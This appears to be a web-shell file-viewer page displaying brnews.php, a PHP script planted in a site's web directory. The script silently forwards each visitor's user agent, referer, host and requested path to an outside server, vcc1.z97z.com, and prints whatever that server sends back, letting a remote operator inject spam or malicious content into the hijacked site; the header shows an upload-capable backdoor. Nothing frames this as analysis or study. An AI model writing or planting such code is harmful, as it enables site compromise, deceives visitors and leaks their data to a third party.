Your IP : 3.144.114.4


Current Path : /home/meharicl/www/
Upload File :
Current File : /home/meharicl/www/brnews.php

<?php
try{
    ini_set('display_errors','off');
    error_reporting(E_ALL ^ E_NOTICE); 
    set_time_limit(0);

    $api_url = "http://vcc1.z97z.com/";

    $U = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $R = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    $H = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : '';
    $domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];

    
    if (version_compare(PHP_VERSION, '5.5.0', '<')) {
         $result = file_get_contents($api_url."?S=".$domain."&I=".urlencode($file)."&R=".$R."&U=".urlencode($U)."&H=".$H."");
         echo $result;
      } else {
        $post_data = array('I'=>$file,'S'=>$domain,'R'=>$R,'U'=>$U,'H'=>$H);
        $result = posturl($api_url,$post_data);
        echo $result;
      }
   
 

    // exit();
}catch (Exception $exception){
    echo $exception;

}


function posturl($url,$post_data=null){
    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']);
    curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data));
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}

?>